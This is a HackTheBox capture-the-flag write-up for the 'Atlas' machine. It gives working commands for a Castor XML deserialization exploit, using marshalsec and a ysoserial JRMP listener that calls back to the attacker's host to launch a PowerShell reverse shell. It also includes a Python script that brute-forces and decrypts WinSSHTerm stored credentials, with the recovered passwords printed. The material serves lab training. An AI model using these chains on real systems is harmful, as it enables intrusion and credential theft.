HTB: Atlas Writeup
Atlas - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Atlas |
| OS | Windows |
| Difficulty | Hard |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.10.11.X |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐⭐☆ (4/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐☆☆
Summary
Atlas is a Hard Windows box built around a Spring Boot resume-generation service that unmarshals attacker-supplied XML with the Castor XML library — no type safety, no allow-list, straight Employee object binding. Recovering the app’s source from an anonymously-readable FTP share confirmed the vulnerable dependency stack (Castor XML + commons-beanutils), which was enough to hand-craft a SpringAbstractBeanFactoryPointcutAdvisor gadget, pair it with a ysoserial JRMP listener, and get code execution as atlas\john through a JNDI/RMI deserialization chain. Privilege escalation pivoted entirely away from Windows-native tricks and into applied cryptography: a leftover WinSSHTerm config on John’s profile held an AES-256-CBC-encrypted administrator credential, and reversing the app’s PBKDF2 key-derivation logic made it possible to brute-force the master password, rebuild the derived keys, and decrypt the administrator’s real password.
TL;DR: Anonymous FTP → leaked Spring Boot jar reveals vulnerable Castor XML unmarshalling → hand-built SpringAbstractBeanFactoryPointcutAdvisor gadget + ysoserial JRMP listener → RCE as atlas\john → WinSSHTerm connections.xml/key recovered → PBKDF2-SHA1 brute force cracks the master password → derived keys decrypt the stored administrator password → SSH in as administrator → root.
Reconnaissance
Port Scanning
nmap -sC -sV -T4 -p- 10.10.11.XResults:
| Port | Service | Notes |
|---|---|---|
| 21/tcp | ftp | Anonymous login allowed |
| 22/tcp | ssh | |
| 3389/tcp | ms-wbt-server | RDP |
| 8080/tcp | http | Spring Boot application |
Four open ports, and the standout is anonymous FTP sitting next to a Spring Boot app on 8080 — a strong hint the FTP share and the web app are wired together (uploads/downloads landing in the same directory).
Service Enumeration
# anonymous FTP loginftp 10.10.11.X# Name: anonymous# Password: (blank)ftp> lsftp> get atlas-pilot-1.0.0-SNAPSHOT.jarftp> get atlas_generator.zipBoth files pulled down cleanly with anonymous creds. atlas-pilot-1.0.0-SNAPSHOT.jar is the actual deployed Spring Boot application — decompiling it (and cross-referencing atlas_generator.zip) exposed the full source tree, pom.xml, and dependency versions.
Vulnerability Assessment
Reading the decompiled source and pom.xml turned up the chain:
- The application pins Castor XML 1.4.1 and commons-beanutils 1.9.2 as dependencies.
POST /accepts an uploaded XML document and unmarshals it directly into anEmployeeobject via Castor — with no schema/type restriction on the unmarshaller. This is the textbook precondition for the Castor deserialization gadget documented in Moritz Bechler’smarshalsecresearch (the same class of attack surface popularized by JNDI-injection bugs like Log4Shell/CVE-2021-44228: get a trusted unmarshaller to instantiate an arbitrary bean, and that bean does a JNDI lookup on attacker-controlled input).commons-beanutils1.9.2 is exactly the versionysoserial’sCommonsBeanutils1gadget chain expects, which meant the JNDI callback could be escalated straight to a working RCE payload rather than stopping at a blind SSRF/callback.
Two vulnerable, un-pinned pieces of trusted library code, reachable from an unauthenticated upload endpoint — that’s the whole bug.
Initial Foothold
Exploitation Path
Step 1 — Confirm the gadget target. Castor’s dangerous unmarshalling behavior lets a crafted <x xsi:type="java:..."> element instantiate arbitrary Spring beans during deserialization. The dependency list pointed at SpringAbstractBeanFactoryPointcutAdvisor — a bean that, when unmarshaled, performs a JNDI lookup against a URL under attacker control.
Step 2 — Get a working Java 8 toolchain. marshalsec and ysoserial both target older JDK deserialization internals that don’t exist/behave the same on modern JDKs, and the jump box only had Java 21 installed. Downloaded a standalone JDK 8 to run the exploit tooling against.
# marshalsec needs JDK8 semantics for the legacy RMI/JNDI gadget classestar xf openjdk-8u*-linux-x64.tar.gzexport JAVA_HOME=$(pwd)/jdk8u*export PATH=$JAVA_HOME/bin:$PATHjava -version # confirm 1.8.x before touching marshalsec/ysoserialStep 3 — Generate the Castor gadget payload. Using marshalsec’s Castor module against the SpringAbstractBeanFactoryPointcutAdvisor gadget, pointed at a local RMI listener:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Castor \ SpringAbstractBeanFactoryPointcutAdvisor rmi://10.10.15.180:1099/expThis prints an <x xsi:type="java:org.springframework.beans.factory.config.PropertyPathFactoryBean">...</x> fragment. That fragment was spliced into the <name> element of the application’s XML template — the field the app’s Castor unmarshaller binds straight into an Employee property with no sanitization.
Step 4 — Stand up the JRMP listener with a real payload. RMI (not plain JNDI/LDAP) was used because it lets ysoserial serve the deserialization gadget directly instead of needing a second-stage class-loading redirect:
# CommonsBeanutils1 matches the commons-beanutils 1.9.2 pinned in pom.xmljava -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsBeanutils1 \ "powershell -enc <base64-encoded-reverse-shell>"The base64 blob was a standard PowerShell TCP reverse shell one-liner, encoded to dodge shell quoting/escaping issues when it gets executed by cmd.exe on the Windows target.
Step 5 — Trigger it. Uploading the modified XML template to the app’s endpoint caused Castor to unmarshal the <name> field, instantiate the Spring bean, and fire a JNDI lookup at rmi://10.10.15.180:1099/exp. The JRMP listener answered with the CommonsBeanutils1 gadget chain, which executed the PowerShell payload server-side.
* Opening JRMP listener on 1099Have connection from /10.10.11.X:xxxxxReading message...Sending return with payload for obj [0:0:0, 0]Closing connectionCatching the reverse shell landed as atlas\john:
PS C:\> whoamiatlas\johnFrom here, user.txt was readable directly from John’s desktop.
Privilege Escalation
Enumerating John’s profile turned up an installed WinSSHTerm client — a .NET SSH terminal manager that persists saved connections (including credentials) encrypted at rest. Two files mattered:
C:\Users\john\...\WinSSHTerm\config\connections.xml # saved connection entries, incl. an "administrator" credential, AES-encryptedC:\Users\john\...\WinSSHTerm\config\key # binary keying material used to derive the AES key/IVBoth were pulled back to the attacking host for offline analysis.
Understanding the crypto. WinSSHTerm derives its AES key/IV material with PBKDF2-HMAC-SHA1, but the passphrase fed into PBKDF2 isn’t just the user’s master password — it’s built as prefix + master_password_candidate + suffix, where prefix/suffix are fixed strings baked into the binary and salt is a hardcoded byte array. There’s also a quirk in how the key file gets loaded: the application strips the first byte off before using it. Replicating this in Python (rather than driving the live binary) turned the whole thing into an offline, scriptable crack:
from hashlib import pbkdf2_hmacfrom Crypto.Cipher import AESfrom base64 import b64decode
with open("key", "rb") as f: keyfile = f.read()[1:] # strip leading byte — matches the app's LoadKeyFile logic
prefix = b"..." # fixed prefix string recovered from the binarysuffix = b"..." # fixed suffix string recovered from the binarysalt = bytes([...]) # hardcoded salt recovered from the binary
for candidate in wordlist: # passphrase = prefix + candidate + suffix, PBKDF2-SHA1, 1012 iterations, 48-byte output (32B key + 16B IV) key_iv = pbkdf2_hmac('sha1', prefix + candidate.encode() + suffix, salt, 1012, dklen=48) key, iv = key_iv[:32], key_iv[32:]
aes = AES.new(key, AES.MODE_CBC, iv) result = aes.decrypt(keyfile)
if suffix in result: # correct passphrase strips cleanly and the known suffix reappears print(f"master password: {candidate}") breakThe brute force converged on the master password:
master password: hottie101With the master password known, the correct AES key/IV could be regenerated, and the same PBKDF2 routine was applied against the Password attribute stored in connections.xml. WinSSHTerm additionally derives a secondary PasswordKey/SaltKey pair from the decrypted key-file material (used to decrypt individual saved connection entries) — reproducing that derivation and decrypting the administrator entry recovered the plaintext password:
administrator password: lzm2wx3Fn7q7gBLDRuf4Since port 22 was open and WinSSHTerm’s entire purpose is managing SSH sessions, the recovered credential was used to authenticate directly over SSH as administrator:
ssh administrator@10.10.11.X# Password: lzm2wx3Fn7q7gBLDRuf4PS C:\Users\Administrator> whoamiatlas\administratorroot.txt was retrieved from the Administrator’s desktop.
Attack Chain Summary
Anonymous FTP (port 21) → leaked Spring Boot jar reveals Castor XML 1.4.1 + commons-beanutils 1.9.2 → crafted SpringAbstractBeanFactoryPointcutAdvisor gadget (marshalsec) → JNDI lookup redirected to attacker-controlled RMI (rmi://10.10.15.180:1099/exp) → ysoserial JRMPListener serves CommonsBeanutils1 gadget → base64 PowerShell reverse shell → RCE / shell as atlas\john → user.txt → WinSSHTerm connections.xml + key harvested from John's profile → PBKDF2-SHA1 (1012 iters) passphrase brute force → master password "hottie101" → derived PasswordKey/SaltKey → decrypted administrator password → SSH as atlas\administrator → root.txtTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning / service enumeration |
ftp | Anonymous access to the leaked application artifacts |
| Java decompiler | Recovering source from atlas-pilot-1.0.0-SNAPSHOT.jar to confirm the Castor/commons-beanutils versions |
| JDK 8 (portable) | Running marshalsec/ysoserial, which target legacy JDK deserialization internals unsupported on the jump box’s Java 21 |
marshalsec | Generating the SpringAbstractBeanFactoryPointcutAdvisor Castor gadget XML |
ysoserial (JRMPListener, CommonsBeanutils1) | Serving the RMI/JNDI deserialization payload to gain RCE |
| PowerShell | Reverse shell payload executed on the target |
| .NET decompiler | Recovering WinSSHTerm’s AES/PBKDF2 key-derivation logic |
Python (hashlib, pycryptodome) | Scripted PBKDF2-SHA1 brute force + AES-256-CBC decryption of the WinSSHTerm vault |
ssh | Final authentication as administrator |
Key Learnings
Techniques Practiced
- Identifying unsafe XML unmarshalling via leaked application source rather than blind fuzzing
- Building a Castor deserialization gadget by hand with
marshalsec, matched against a dependency-confirmed gadget class - Chaining a JNDI-triggered lookup into RMI-borne RCE with
ysoserial’sJRMPListener - Working around JDK version incompatibilities when legacy exploit tooling requires Java 8 semantics
- Reverse engineering a .NET application’s custom PBKDF2-based key derivation and reimplementing it in Python for offline brute forcing
- Reconstructing a secondary derived-key scheme (
PasswordKey/SaltKey) from application logic to decrypt stored credentials
Lessons Learned
- Leaked build artifacts are a source-code disclosure vulnerability. An anonymously-readable FTP share holding the exact
.jarthat’s deployed on 8080 turns a black-box web app into a white-box one — always pull and decompile anything reachable before fuzzing endpoints blind. - Pinned dependency versions in
pom.xml/build manifests are exploit-selection oracles. Castor 1.4.1 and commons-beanutils 1.9.2 weren’t just “old” — they were the exact versions required by known public gadget chains, which collapsed the search space from “find a gadget” to “confirm the gadget.” - RMI beats LDAP/plain callbacks when you need code execution, not just a callback. An HTTP/LDAP-based JNDI redirect only proves SSRF; pointing the gadget at a JRMP listener serving a real
ysoserialchain turns that same primitive into RCE in one hop. - “Secure” credential vaults are only as strong as their key derivation, and reversible if the derivation is deterministic and offline-computable. WinSSHTerm’s AES encryption was sound in isolation, but a fixed prefix/suffix/salt baked into the binary meant the whole scheme reduced to a standard offline PBKDF2 brute force the moment the binary could be decompiled.
- Saved connection managers are a privesc goldmine on Windows boxes. Any tool that persists “remember my password” for privileged accounts (SSH clients, RDP managers, database GUIs) is worth harvesting immediately after a low-priv foothold — the crypto is often reversible even when the ciphertext isn’t.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- ctrlzero, “Atlas” — official HackTheBox writeup (machine author: sec77), 7 October 2025. Used here for conceptual explanation of the Castor→RMI/JNDI gadget chain and the WinSSHTerm PBKDF2 key-derivation/bit-manipulation logic. All IPs, command output, and credential values in this writeup are from this author’s own independent run against the target.